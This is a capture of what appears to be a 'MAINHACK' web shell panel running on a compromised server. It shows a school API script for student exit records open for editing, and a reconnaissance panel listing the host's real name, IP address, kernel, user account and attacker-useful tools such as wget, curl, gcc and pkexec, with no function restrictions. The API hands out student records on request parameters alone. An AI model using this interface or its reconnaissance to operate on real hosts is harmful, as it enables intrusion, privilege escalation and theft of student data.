[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api_exeat.php
<?php header("Content-Type: application/json"); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: GET, POST"); header("Access-Control-Allow-Headers: Content-Type, Authorization"); include("../functions.php"); $myschoolcode = $_SESSION['myschoolcode'] ?? ''; $schoolID = $_SESSION['student_id0023894'] ?? ''; // ---- READ INPUTS (GET or POST) ---- $myschoolcode = $_GET['myschoolcode'] ?? $_POST['school_code'] ?? ''; $schoolID = $_GET['student_id0023894'] ?? $_POST['student_id'] ?? ''; if (!$myschoolcode || !$schoolID) { echo json_encode([ "status" => "error", "message" => "Missing required parameters: school_code, student_id" ]); exit; } // ---- PREPARED STATEMENT FOR SECURITY ---- $sql = "SELECT id, student_id, school_code, exit_code, datetime_out, datetime_in, reasons, return_status, datereturn FROM student_exit WHERE school_code = ? AND student_id = ? ORDER BY id DESC"; $stmt = mysqli_prepare($new, $sql); mysqli_stmt_bind_param($stmt, "ss", $myschoolcode, $schoolID); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); // ---- FORMAT OUTPUT ---- $attendanceList = []; while ($row = mysqli_fetch_assoc($result)) { // Calculate days between out & in $days = null; if (!empty($row['datetime_out']) && !empty($row['datetime_in'])) { $start = new DateTime($row['datetime_out']); $end = new DateTime($row['datetime_in']); $days = $start->diff($end)->days; } $attendanceList[] = [ "id" => $row["id"], "student_id" => $row["student_id"], "school_code" => $row["school_code"], "exit_code" => $row["exit_code"], "datetime_out" => $row["datetime_out"], "datetime_in" => $row["datetime_in"], "days_away" => $days, "reason" => $row["reasons"], "return_status" => $row["return_status"], "date_return" => $row["datereturn"] ]; } // ---- SEND RESPONSE ---- echo json_encode([ "status" => "success", "records_count" => count($attendanceList), "data" => $attendanceList ], JSON_PRETTY_PRINT); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002